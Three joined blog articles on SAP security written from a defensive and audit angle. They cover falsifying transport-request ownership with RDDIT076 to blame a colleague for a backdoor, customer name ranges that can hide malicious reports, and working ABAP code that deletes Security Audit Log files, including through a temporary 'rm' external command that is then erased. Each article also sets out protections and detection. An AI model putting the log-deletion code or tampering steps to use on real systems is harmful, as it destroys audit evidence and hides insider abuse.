Blaming someone else for a transport request (using RDDIT076)


Greetings to everybody!

In this post, we’ll examine a way to doctor transport requests, which can be used with malicious intent, but potentially also as a “quick fix” by admins. The goal is to identify the involved tools and related authorizations to secure your SAP systems against such manipulations… as far as possible!

Report RDDIT076

Let’s start with the offender itself:
Report RDDIT076 allows you to select an existing transport request (or transport task) and edit many of its attributes.

As an example, we assume an unreleased workbench request (type “K”). That request contains a single task, which in turn consists of a repair… e.g. a changed report.

To make it interesting, we assume that the modified report copies the profile SAP_ALL to our user’s authorization buffer once we start it (that gives us all authorizations without any traces). As the assumed code checks for SY-UNAME, it only works for one user (in the example that’s me: DBERLIN). There’s only a very shallow code-check during transport… so the chance of being caught is small! 🥳

But wait… we absolutely don’t want to be caught. Really not! So just in case our malicious code change is detected, let’s blame someone else!

Let’s see what RDDIT076 can do for us:

First, select the request.
You then get an overview of the request with its task.

Okay – the title of the transport request is a bit too honest and we could easily have chosen a better one. The problem is: my user DBERLIN is the owner of both the request and the task and will be blamed for its contents. Fortunately, we can simply edit both entries:

We can change all fields, except for the request/task ID and the “Last changed” timestamp.

We adjust the description and set a new owner: our estimated colleague Frank Grimes (FGRIMES).
Save and repeat for the task!

The doctored request and task look harmless and we’re not the owner anymore! 🎉

The scenarios

In our example we assumed a malicious, internal developer… but that’s not the only situation, in which the report might be (mis-)used. We have to differentiate between three scenarios:

  • justified usage (e.g. by a developer, who needs to cope with a particular situation)
  • sloppy usage (e.g. an admin, who favors “shortcuts” instead of the longer standard process)
  • malicious usage (e.g. to hide the origin of manipulative code in a transport request)

The first case is generally acceptable, but it must be ensured that the possibility to use RDDIT076 is not misused. That will turn out to be challenging and I doubt that such cases exist.

The second “sloppy” case is not easy to prove for an auditor, because there’s always a “good” reason, why a change had to be fast and the usual process would’ve been too slow… so people might try to sell the second case for the first one.

Lastly, the third case is what our example is based on – an intentional attempt to maliciously exploit the SAP system. That’s the most obvious case, but when cleaning up your system, always keep in mind that the other two cases exist as well (and are probably more likely 🤔).

How to prevent it

Access

RDDIT076 is a report without an assigned authorization group and there is no associated transaction code – so to block access, you should take care of program execution rights, for example:

  • SA38: only S_PROGRAM is checked with P_ACTION = SUBMIT
  • SE38: first, S_DEVELOP with ACTVT = 03 and 16, OBJNAME = RDDIT076 and OBJTYPE = PROG is checked, then additionally S_PROGRAM (see above)
  • START_REPORT: only S_TCODE with START_REPORT is checked… nothing else 🙄

Program execution rights should generally only be granted to few, carefully chosen users – especially because there is no way to do it in a granular way (i.e. without a program authorization group).

Authorizations

There are some, but not many authorizations necessary to run RDDIT076:

  • S_TRANSPRT with ACTVT = 03 to select the transport request and read its contents
  • S_CTS_ADMI with CTS_ADMFCT = TABL as a “general” protection
  • and S_DATASET with ACTVT = 34 (write), PROGRAM = SAPLSTRF and FILENAME = <DIR_TRANS>/actlog/<LOGFILE>

The first two authorizations are administrative rights that can be used to limit the usage of the report and which should only be granted to few users! The third authorization is checked, when a log file is written – so in case this right is not granted, no log would be written… which is counterproductive!

The hard truth

In the end, you’ll probably end up with a few users that have the necessary rights to use the report and can thus manipulate transport requests. The reason is that only a few generic authorizations are checked in RDDIT076 and all those rights are needed in other places as well… at least by SAP basis (on DEV and maybe also PROD) and developers (on DEV).

From an audit perspective, a residual risk remains after the first cleanup. You could further reduce it by additional measures… for example, you could assign the report to an authorization group (so that the S_PROGRAM check is more specific) and make sure that other ways to execute it, e.g. START_REPORT, are removed from all roles. That’s feasible, but difficult for a rather small gain in security… and most people will probably not want to change the attributes of an SAP standard report.

Another option would be an ex-post control – but then we’d need a good log of the actions performed in RDDIT076. In the next chapter “How to detect it” we’ll see that logging exists, but is far from being detailed enough. Other ways to trace such administrative activities, such as SAP UI Logging, are usually complex and expensive.

So, the hard truth is that RDDIT076 is a candidate for risk acceptance…

How to detect it

As stated above, changes performed in RDDIT076 lead to log files being written to <DIR_TRANS>/actlog/<LOGFILE>, if the S_DATASET authorizations allow it. One log file is used per transport request/task number.

Such a file, unfortunately, contains only minimal information… the example from the beginning of this article leads to two log files. One for the transport request and one for the contained task. Both files contain one line similar to the following:

1 ETR018 "05.04.2020 16:15:30" request/task "NSPK900042" was changed by user "DBERLIN"

No information about what was changed…
That’s not enough data for a sensible ex-post control!

The bottom line

I’d suggest removing the involved authorizations from all users that don’t need it – the remaining users should be administrative ones only.

Admins should have separate users (and rights) for “employee tasks”, e.g. time management, day-to-day administration and extended admin-tasks. At least the latter user should be logged extensively. Logs should be monitored for the usage of RDDIT076 and – in case of matches – the logfiles should be inspected.

That’s not bulletproof, but the best approach possible without disproportionate effort… at least IMHO…

Bye and see you soon!

+++ End of article +++
+++ Begin of article +++

Customer name ranges for SAP objects


Dear readers,

a long time passed since my last post and even more, things changed in my life.
My “blue team” perspective has changed to the viewpoint of an internal auditor – and upcoming posts will probably reflect this… life remains exciting. 😎

In the following, we’ll take a look at customer name ranges in SAP and how to use them to move things like malicious code out of the sight of security people and… well… auditors.

First of all:
Customer-created objects in SAP do not always start with Y* and Z*.
There are many more possibilities.

Let’s start with some obvious things: Workbench objects in SAP (custom reports, tables, transaction codes, function modules, and many more) may not be named arbitrarily. They are bound to name ranges, which SAP designated for customer developments.
SAP Note 16466 – “Customer name range for SAP objects” gives a list of allowed name ranges per object type (yes: different types have different allowed name ranges).

In this post, we’ll focus on some of the types, which are interesting for an attacker and allow data manipulation or implementing backdoors, etc.: ABAP reports (obvious!), tables (just because), and transaction codes (e.g. to bypass S_PROGRAM checks).
Let’s see what the above-mentioned SAP note 16466 says about the allowed customer name ranges for these objects:

Excerpt from SAP note 16466
[excerpt from the SAP note]

SAP adds in a strict but benevolent tone:
It is essential that you always adhere to the SAP naming conventions. Serious problems may otherwise result during the next upgrade (the upgrade overwrites customer objects).
We’ll come back to that later.

It’s time to dive deeper: when you try to create – for example – a new report in the ABAP workbench, a function module is called in the background that checks the specified name for its compliance with the allowed name ranges.
The relevant FM is TRINT_GET_NAMESPACE and it differentiates between 3 types of object names:

  • Customer,
  • Partner, and
  • SAP-reserved

For objects in the partner and SAP-reserved name ranges, you need an object key to create them – we won’t discuss them here.
The allowed names can be found in the FM’s source code (which is pasta code long and has grown for many years).
I’ll quickly summarize it for our 3 examples (reports, tables, and transaction codes) here:

→ Reports
Name starts with...Name rangeRemarks by SAP
Y
Z
CustomerOld customer namespace
MP9CustomerInfotype-dialog module
SAPDY
SAPDZ
DY
DZ
CustomerDialog-module-pools
SAPFY
SAPFZ
FY
FZ
CustomerSubroutine-pools
SAPMY
SAPMZ
MY
MZ
CustomerModule-pools
SAPUY
SAPUZ
UY
UZ
CustomerUpdate-tasks
MENUY
MENUZ
MENU+
CustomerMenus
MSTY
MSTZ
MSTP9
MSTT9
MSTHRI9
MSTHRP9
MSTHRT9
MSTPA9
MSTPB9
MSTPS9
MSTPT9
CustomerTables



3.0E
3.0E
3.0E



3.0E

MC_Y
MC_Z
MC_....0
MC_....1
MC_....2
MC_....3
MC_....4
MC_....5
MC_....6
MC_....7
MC_....8
MC_....9
CustomerModifiable MC programs
Customer MCOBs
Customer MCOBs
Customer MCIDs
Customer MCIDs
Customer MCIDs
Customer MCIDs
Customer MCIDs
Customer MCIDs
Customer MCIDs
Customer MCIDs
Customer MCIDs
Customer MCIDs
%H_Y
%H_Z
CustomerModifiable help view program
J_
MJ
DJ
FJ
UJ
PartnerOld partner namespace
SAPMJ
SAPDJ
SAPFJ
SAPUJ
MSTJ_
MSTTJ
MENUJ
PartnerOld partner namespace
( all others )SAP-reserved
→ Tables
Name starts with...Name rangeRemarks by SAPMy remarks
YY
ZZ
CI_
H_Y
H_Z
HRI9
HRP9
HRT9
PA9
PB9
PS9
PT9
P9
CustomerOld customer namespace




3.0E
3.0E
3.0E



3.0E
Y
Z
T9
Customer
(with exceptions)
Table names in this range are checked against the exception
table TDKZ. If no entry is found, the name belongs to the
customer name range.
Table TDKZ usually contains the entries listed in the second
last line of this table.
J_
TJ
PartnerOld partner namespace;
TJ-tables only for 2.2-compatibility
T9COM
T9DEV
T9PRO
ZCXCB
ZCXCM
ZHLB1
ZHLG1
ZHLG2
ZIS_FORM
SAP-reservedThese table names are SAP-reserved as per the exception table TDKZ.
( all others )SAP-reserved
→ Transaction codes
Name starts with...Name rangeRemarks by SAP
Y
Z
+
CustomerOld customer namespace
JPartnerOld partner namespace
( all others )SAP-reserved

So, we have a whopping 47 name ranges to choose from for the next malicious report! … and hardly any auditor will ever identify a program called MSTHRP9INT as a customer-developed one.
To be even more sure, you could also fake the report’s “creator” easily (more on this in one of the next posts).

Now back to SAP’s stern statement on what happens, when you’re not nice and use name ranges not listed in Note 16466:
First, I doubt it – but didn’t check it myself. Since the FM TRINT_GET_NAMESPACE is used by every workbench-related functionality in the ABAP-stack, I would assume that all ABAP code, which is called during an update also uses the same logic. The command-line tools (tp, R3trans …) are usually synced with their ABAP pendants, so they’ll probably perform very similar checks as well.
And secondly, it doesn’t matter. Most attackers would probably do, what they intended to do, once they have compromised an SAP system in such a way. There’s no need to wait a long time and then come back… and persistence inside a victim’s network can be achieved in more reliable ways and with fewer traces to cover.

Happy hunting and see you! 😀

PS: Just to prevent confusion – this post is about “name ranges“, not “namespaces” like /SNAKEOIL.

+++ End of article +++
+++ Begin of article +++

Protection of the Security Audit Log against deletion


How to prevent erasure of log data

Hi SAP enthusiasts,

the Security Audit Log [SAL] contains information about important system events and should, therefore, better not get lost unintentionally!
Let’s see, how the Audit Log can be erased and what we can do to prevent this and maximize its protection.

The Audit Log is stored in log-files that are located in the file system (see parameter DIR_AUDIT) and is either rotated daily or when the current file is full (see parameter rsau/max_diskspace/per_file).

Access to these files is possible via kernel functionality (from within the SAP system) or on operating system level (e.g. via an external OS command). We’ll focus on access via the SAP application server and won’t take a deeper look at manipulations directly from OS level (i.e. from the command line).

Ways to delete the Security Audit Log

From inside the SAP system, three variants of deleting the SAL files exist.
Below we’ll check them and see, which measures exist to protect the logs.

Variant 1: SM18 (or function module RSAU_CLEAR_AUDIT_LOG or system function C_REMOVE)

SM18 is the SAP standard way of removing old SAL files.
The transaction is protected by an authorization check for S_ADMI_FCD with value AUDA (= AUDit log Administration). The minimum age of files to be erased is 3 days − a nice feature because an attacker cannot remove fresh logs and hide what he/she did moments ago.

Protection
SM18 is not really problematic… S_ADMI_FCD with value AUDA is a critical authorization, which nobody should be assigned to on production.

Diving a bit deeper…
A clever developer might try to copy the code that is responsible for the deletion to a customer report − fortunately, this does not work… see below:

REPORT.
WRITE 'SM18 (C_REMOVE):'.
 
DATA: errno  TYPE rsautypes-errno
    , errmsg TYPE rsautypes-errmsg.
 
CALL 'C_REMOVE' ID 'DIR'    FIELD '/usr/sap/[SID]/DVEBMGS00/log'
                ID 'FILE'   FIELD 'audit_20160425'
                ID 'GROUP'  FIELD 'AUDIT'
                ID 'ERRNO'  FIELD errno
                ID 'ERRMSG' FIELD errmsg.
 
IF sy-subrc = 0. WRITE: 'successful'.
ELSE.            WRITE: 'failed;', errmsg. " caller not registered
ENDIF.

⇒ This report always runs into an error, because the SAP kernel checks the program name that calls the C_REMOVE function against an internal whitelist; we’ll always get a “failed; caller not registered” message…

Variant 2: DELETE DATASET

A more sophisticated way of getting rid of audit log files is to simply delete them via the DELETE DATASET statement from within an ABAP report.

A simple example:

REPORT.
WRITE 'DELETE DATASET:'.
 
TRY.
    DELETE DATASET '/usr/sap/[SID]/DVEBMGS00/log/audit_20160425'.
 
    IF sy-subrc = 0. WRITE 'successful'.
    ELSE.            WRITE 'failed / not found'.
    ENDIF.
 
  CATCH cx_sy_file_authority.
    WRITE 'missing authorization'.
ENDTRY.

Basic protection
The kernel checks for S_DATASET authorizations each time a DELETE DATASET statement is executed (this cannot be prevented since the check takes place in the kernel).
The field ACTVT is checked for value 06 (delete) and the FILENAME field for the path of the file to be deleted.

Better protection
A check for authorization object S_PATH can be activated to implement additional protection for file system accesses. It is then evaluated after a successful S_DATASET check.

Alternatively, we can also prevent unauthorized log file deletion completely… even if a user has S_DATASET with all field values set to “*“!

For the additional check, the logic is as follows (see SAP Note 177702):

  • first, the system checks whether the SPTH table contains a PATH, which matches the start of the pathname of the log file that we want to delete
  • if an authorization group is set in the FS_BRGRU field, the system then performs an authorization check on S_PATH with ACTVT = 02 (write or delete)

Additionally, the table SPTH has two flags, which can further limit file access and overwrite the authorization checks on S_PATH and S_DATASET:

  • if FS_NOREAD has the value “X”, neither read nor write access is possible
  • and FS_NOWRITE = “X” prevents write access
SPTH Log File Protection

To effectively prevent Security Audit Log deletion, you can add the following entry to SPTH:

PATH = /usr/sap/[SID]/DVEBMGS00/log/audit_
FS_NOREAD = X
FS_NOWRITE = X

Afterward, no user will be able to read or modify the SAL log files – disregarding their authorizations!
Anyway, SM20 will continue to work, as the access therein is performed by the kernel.

Variant 3: External operating system command

The third variant does not use the SAP kernel to delete the file, but rather an OS command (in the following example we’ll use the Unix/Linux rm command).

The following report creates a new external command, executes it to delete the same audit log file as above and finally deletes the command.

Note
The creation and deletion of the command is logged via table logging for table SXPGCOSTAB… but at least at a first glance, we can hide what we did by deleting the command after execution…

REPORT.
WRITE 'External command (SM69):'.
 
DATA command TYPE sxpgcolist.
command-NAME      = 'Z_DEL_AUDITLOG'.
command-opsystem  = sy-opsys.
command-opcommand = 'rm'.
command-addpar    = 'X'.
 
CALL FUNCTION 'SXPG_COMMAND_INSERT'         " --- Create command
  EXPORTING
    command = command
  EXCEPTIONS
    OTHERS  = 1.
 
IF sy-subrc = 0. WRITE 'creation successful;'.
ELSE.            WRITE 'creation failed.'.
                 LEAVE PROGRAM.
ENDIF.
 
DATA exitcode TYPE extcmdexex-exitcode.
 
CALL FUNCTION 'SXPG_COMMAND_EXECUTE'        " --- Execute command
  EXPORTING
    commandname           = command-NAME
    additional_parameters = '/usr/sap/[SID]/DVEBMGS00/log/audit_20160425'
  IMPORTING
    exitcode              = exitcode
  EXCEPTIONS
    OTHERS                = 1.
 
IF sy-subrc = 0 AND exitcode = 0. WRITE 'execution successful;'.
ELSE.                             WRITE 'execution failed;'.
ENDIF.
 
DATA: BEGIN OF command_del.
        INCLUDE STRUCTURE sxpgcostab.
DATA:   sapcommand   TYPE sxpgcolist-sapcommand
    ,   TYPE(8)      TYPE c
    , END   OF command_del
    , rc             TYPE i.
 
command_del-NAME     = command-NAME.
command_del-opsystem = command-opsystem.
 
PERFORM command_delete(saplsxpt)            " --- Delete command
        USING    SPACE
        CHANGING command_del rc.
 
IF sy-subrc = 0 AND rc = 0. WRITE 'deletion successful.'.
ELSE.                       WRITE 'deletion failed.'.
ENDIF.

Of course, you could also create, execute and delete the command via transaction SM69.

Protection
The above method works fine if you have S_RZL_ADM (ACTVT = 01) for the creation of the command and S_LOG_COM authorizations for execution.
Unfortunately, the SPTH-protection from variant 2 does not work here.

If table logging is enabled (profile parameter rec/client), changes are recorded in table DBTABLOG and can be evaluated via transaction SCU3 (for table SXPGCOSTAB).

Bottom line

All three variants can be protected quite well via authorizations, so log deletion can be prevented by strictly controlling these authorizations.

Anyway high-privileged users – e.g. emergency users – still have access, so I suggest also implementing the SPTH-protection described in variant 2. 💡 It provides a good additional line of defense around the log files.

Please keep in mind that you should also take care of protecting table SPTH itself… 💡

Apart from the “access”-perspective, organizational measures should be implemented to make sure that malicious code – like to one above is – checked (and rejected) before a transport to production takes place!

So long!

+++ End of article +++